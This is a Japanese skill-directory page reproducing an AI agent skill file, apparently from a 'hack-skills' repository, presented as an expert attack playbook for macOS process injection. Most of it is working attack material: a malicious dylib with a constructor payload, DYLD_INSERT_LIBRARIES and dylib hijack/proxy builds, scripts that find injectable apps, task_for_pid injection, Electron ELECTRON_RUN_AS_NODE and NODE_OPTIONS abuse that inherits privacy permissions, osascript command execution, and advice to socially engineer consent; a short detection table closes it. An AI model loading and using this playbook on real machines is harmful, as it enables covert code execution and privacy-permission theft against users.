Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

macos-process-injection

macOSのプロセスインジェクション手法を網羅したプレイブック。dylibハイジャック、DYLD環境変数、XPCの悪用、Machポート操作、Electron/Chromiumの脆弱性利用など、macOS上で実行中または起動中のプロセスにコードを注入する必要がある場合に使用します。

description の原文を見る

>- macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.

SKILL.md 本文

SKILL: macOS Process Injection — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: macOS プロセスインジェクション のエキスパートテクニック。DYLD_INSERT_LIBRARIES、dylib ハイジャッキング(weak/rpath/proxy)、XPC PID 再利用攻撃、Mach ポート操作、MIG 悪用、Electron インジェクション対応。基本モデルはエンタイトルメントの前提条件とインジェクションベクトルの SIP 制約を見落としがちです。

0. 関連ルーティング

詳細に進む前に、以下のロードを検討してください:

  • macos-security-bypass - TCC、Gatekeeper、またはインジェクションをブロックしている SIP 保護をバイパスする必要がある場合
  • linux-privilege-escalation - Unix レイヤー特権昇格(共有オブジェクトハイジャッキング概念が適用される)

高度なリファレンス

以下が必要な場合は DYLIB_XPC_TECHNIQUES.md もロードしてください:

  • ステップバイステップ dylib ハイジャッキング方法論とツールコマンド
  • コード例を含む XPC 悪用チュートリアル
  • Mach ポートテクニック詳細と task_for_pid パターン

1. DYLD_INSERT_LIBRARIES インジェクション

最も直接的なインジェクション方法:動的リンカーに dylib をプリロードさせるよう環境変数を設定します。

1.1 要件と制限

条件インジェクト可能?理由
通常(非強化)バイナリはい制限なし
Hardened Runtime 有効いいえDYLD が環境変数をストリップ
Hardened Runtime + com.apple.security.cs.allow-dyld-environment-variablesはいエンタイトルメントが明示的に許可
Apple システムバイナリ(SIP 保護)いいえSIP が DYLD 環境変数をストリップ
SUID/SGID バイナリいいえ権限安全性のため DYLD 環境変数をストリップ
App Sandbox 有効いいえサンドボックスが環境変数インジェクションをブロック

1.2 基本インジェクション

# 悪質な dylib を作成
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
    printf("[+] Injected into PID %d\n", getpid());
    // payload here
}
EOF

# 両方のアーキテクチャ用にコンパイル
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64

# ターゲットにインジェクト
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target

1.3 インジェクション可能なターゲットを検索

# Hardened Runtime がない アプリを検索
find /Applications -name "*.app" -exec sh -c '
  binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  if [ -n "$binary" ]; then
    flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
    echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
  fi
' _ {} \;

# dyld 環境変数エンタイトルメント を持つアプリを検索
find /Applications -name "*.app" -exec sh -c '
  binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  codesign -d --entitlements :- "$binary" 2>/dev/null | \
    grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;

2. DYLIB ハイジャッキング

動的リンカーのライブラリ検索順を利用して、正規の dylib の代わりに(または追加として)攻撃者が制御する dylib をロードします。

2.1 Weak Dylib ハイジャッキング(LC_LOAD_WEAK_DYLIB)

Weak dylib はオプション — 不在でもバイナリは実行されます。期待されたパスに dylib を配置できれば、それがロードされます。

# Weak dylib 参照を持つバイナリを検索
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB

# Weak dylib が実際に存在するかを確認
otool -L /path/to/binary | grep weak | while read lib rest; do
  [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done

2.2 @rpath ハイジャッキング

@rpath はバイナリの LC_RPATH エントリから解決されます。前のディレクトリが書き込み可能な場合、そこに dylib を配置できます。

# rpath エントリをリスト
otool -l /path/to/binary | grep -A 2 LC_RPATH

# rpath 相対 dylib 参照をリスト
otool -L /path/to/binary | grep @rpath

# rpath に書き込み可能なディレクトリ(例:app の Frameworks/)が含まれる場合
# マッチングする名前の悪質な dylib をそこに配置

2.3 Dylib プロキシ

正規 dylib を、すべてのエクスポートを元のものに転送する悪質なものに置き換えます。

# ステップ 1:ターゲット dylib とそのエクスポートを特定
nm -gU /path/to/original.dylib | awk '{print $3}'

# ステップ 2:すべてを再エクスポートする proxy dylib を作成
# 元のものを original_real.dylib に移動
# プロキシを作成:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
    // malicious code here
}
EOF

gcc -dynamiclib -o hijacked.dylib proxy.c \
  -Wl,-reexport_library,/path/to/original_real.dylib \
  -arch x86_64 -arch arm64

2.4 依存関係列挙

otool -L /path/to/binary              # すべての dylib 依存関係をリスト
otool -l /path/to/binary              # 完全なロードコマンド(rpath、weak など)
dyldinfo -print_dependencies /path/to/binary  # 詳細な依存情報(pre-Ventura)

3. XPC 悪用

XPC(Cross-Process Communication)は macOS の主要 IPC メカニズムで、権限分離用です。特権 XPC サービスは高価値ターゲットです。

3.1 XPC サービス検出

# システム XPC サービス
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20

# サードパーティ XPC サービス
find /Library /Applications -name "*.xpc" -type d 2>/dev/null

# LaunchDaemon XPC サービス(ルートレベル)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null

3.2 PID 再利用攻撃

PID で検証される XPC 接続は競合状態に脆弱です:攻撃者がプロセスを起動し、PID がチェックされてパスし、攻撃者のプロセスが終了し、OS が PID を悪質なプロセスに再利用します。

検証方法脆弱性あり?注記
PID ベースのチェックはいプロセス終了後に PID が再利用される
Audit トークンいいえプロセスライフサイクルごとに一意、再利用されない
コード署名チェックいいえ署名アイデンティティを検証
エンタイトルメントチェックいいえプロセスエンタイトルメントをチェック
PID 再利用攻撃のタイムライン:
1. 正規クライアント(PID 1234)が XPC サービスに接続
2. XPC サービスが PID 1234 をチェック → 有効
3. 正規クライアントが終了(PID 1234 が解放される)
4. 攻撃者が急速にフォークして PID 1234 を取得
5. 攻撃者のプロセス(現在 PID 1234)が悪質な XPC メッセージを送信
6. XPC サービスが PID 1234 を信頼(キャッシュされた検証)

3.3 XPC クライアント検証の弱点

弱点説明悪用方法
クライアント検証なしサービスが任意の接続を受け入れ直接接続してコマンドを送信
PID のみの検証競合状態が悪用可能PID 再利用攻撃(§3.2)
バンドル ID チェックのみバンドル ID がスプーフされる可能性マッチングバンドル ID を持つアプリを作成
部分的な code requirementアンカーチェック欠落部分的な要件にマッチする証明書で署名
間違ったプロセスでのエンタイトルメントチェック親をチェック(クライアント不可)権限のある親からスポーン

4. MACH ポート操作

Mach ポートはカーネルレベルの IPC プリミティブであり、XPC の基礎です。直接 Mach ポートアクセスにより強力なインジェクションが可能になります。

4.1 Task ポート(task_for_pid)

// ルート または taskgated エンタイトルメント が必要
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
    // ターゲットプロセスメモリの読み書きが可能
    // thread_create_running 経由のスレッドインジェクション
}
アクセス方法要件ポスト悪用機能
task_for_pid()ルート + SIP 保護されていないターゲット完全なメモリ R/W、スレッドインジェクション
processor_set_tasks()ルート + com.apple.system-task-portsすべての task ポートを列挙
Exception ポートtask_set_exception_ports 経由で設定ターゲットクラッシュをキャッチ、実行をリダイレクト
スレッドインジェクションTask ポート取得済みターゲットアドレス空間内に新しいスレッドを作成

4.2 ポート名前空間操作

テクニック説明
ポート名推測Mach ポート名は順序付き整数 — 一部コンテキストではブルートフォース可能
mach_port_insert_right送信権をターゲットの名前空間に挿入(task ポート必須)
Bootstrap サーバー悪用正規サービスの前にサービス名を登録 → 接続をインターセプト

5. MIG(MACH INTERFACE GENERATOR)悪用

MIG は Mach IPC の C スタブを生成します。MIG サーバーのディスパッチルーチンに脆弱性がある可能性があります。

5.1 分析アプローチ

# バイナリの MIG サブシステムを検索
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"

# MIG ルーチンディスパッチテーブルを特定
otool -tV /path/to/binary | grep -A 5 "server_routine"

5.2 一般的な MIG 脆弱性

脆弱性説明
Audit トークン検証欠落MIG ハンドラーが送信元アイデンティティを検証しない
型混乱MIG 逆シリアル化がクライアント提供の型記述子を信頼
ポートライフサイクル問題MIG 呼び出し間での Mach ポートの Use-after-deallocate
OOL( out-of-line)メモリ悪用過度の OOL 記述子 → カーネルメモリ問題

6. ELECTRON / CHROMIUM インジェクション

多くの macOS アプリは Electron を使用します(Slack、Discord、VS Code、Teams など)。Electron アプリは複数のインジェクションサーフェスを公開します。

6.1 ELECTRON_RUN_AS_NODE

# Electron アプリを純粋な Node.js ランタイムに変換
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
  "require('child_process').execSync('id').toString()"

# これはアプリの TCC 権限を継承します!
# Slack がカメラ/マイク/スクリーン記録を持っている場合、あなたのコードもそれを取得します。

6.2 デバッグフラグ

# Chrome DevTools プロトコルをアプリで開く
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# その後接続:Chrome ブラウザで chrome://inspect

# コマンド実行前にブレーク
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229

6.3 NODE_OPTIONS インジェクション

# NODE_OPTIONS 経由でプリロードスクリプトをインジェクト
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"

6.4 Electron Fuses

モダン Electron アプリは危険な機能を無効化するための「fuses」を使用します。Fuse 状態をチェック:

Fuse有効時(安全)無効時(悪用可能)
RunAsNodeELECTRON_RUN_AS_NODE がストリップNode.js としてアプリを使用可能
EnableNodeCliInspectArguments--inspect フラグがストリップデバッガーをアタッチ可能
EnableNodeOptionsEnvironmentVariableNODE_OPTIONS がストリッププリロードをインジェクト可能
OnlyLoadAppFromAsar.asar のみからロードJS ファイルを置き換え可能
# Electron fuse 状態をチェック(npx @electron/fuses が必要)
npx @electron/fuses read --app "/Applications/Target.app"

7. アプリケーションスクリプティング(APPLE EVENTS)

# osascript 経由でインジェクト(Automation 権限が存在する場合)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'

# JavaScript for Automation(JXA)
osascript -l JavaScript -e '
  var app = Application("Terminal");
  app.doScript("id > /tmp/pwned");
'

# ObjC ブリッジ付き JXA(強力)
osascript -l JavaScript -e '
  ObjC.import("Cocoa");
  var task = $.NSTask.alloc.init;
  task.launchPath = "/bin/bash";
  task.arguments = ["-c", "id > /tmp/pwned"];
  task.launch;
'

8. プロセスインジェクション決定ツリー

macOS プロセスにコードをインジェクトする必要あり
│
├── ターゲットは Electron を使用?
│   ├── Fuses が無効? → ELECTRON_RUN_AS_NODE(§6.1)
│   ├── デバッグが利用可能? → --inspect フラグ(§6.2)
│   ├── NODE_OPTIONS がストリップされていない? → プリロードインジェクション(§6.3)
│   └── すべての fuses がオン? → dylib パスまたは XPC をチェック
│
├── ターゲットに dylib 環境変数エンタイトルメント?
│   └── はい → DYLD_INSERT_LIBRARIES(§1)
│
├── ターゲットに不在または weak dylib?
│   ├── 不在の dylib を持つ LC_LOAD_WEAK_DYLIB? → dylib を配置(§2.1)
│   ├── 最初の検索に書き込み可能ディレクトリがある @rpath? → rpath ハイジャック(§2.2)
│   └── 書き込み可能な場所にある既存 dylib? → dylib プロキシ(§2.3)
│
├── ターゲットが XPC サービスを公開?
│   ├── クライアント検証なし? → 直接接続(§3.3)
│   ├── PID のみの検証? → PID 再利用攻撃(§3.2)
│   └── Audit トークン検証? → 別のベクトルが必要
│
├── ルートアクセスがある?
│   ├── ターゲットが SIP 保護されていない? → task_for_pid インジェクション(§4.1)
│   └── SIP 保護? → 最初に SIP バイパスが必要(→ macos-security-bypass)
│
├── Apple Events を使用可能?
│   ├── ターゲットの Automation 権限? → osascript インジェクション(§7)
│   └── 権限なし? → Automation 同意を社会工学
│
└── 上記いずれでもない?
    ├── MIG サーバー脆弱性をチェック(§5)
    └── Bootstrap サーバー名衝突を探索(§4.2)

9. 検出とフォレンジクス

アーティファクト確認場所
DYLD_INSERT_LIBRARIES 使用プロセス環境(/proc/PID/environps eww
予期しない dylib ロードvmmap PID または DYLD_PRINT_LIBRARIES=1 出力
XPC 接続異常Endpoint Security es_event_type_t XPC イベント
Electron デバッグポート開放lsof -i :9229
osascript 実行Unified ログ:log show --predicate 'process=="osascript"'
署名なしコード実行codesign --verify 失敗、Gatekeeper ログ

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT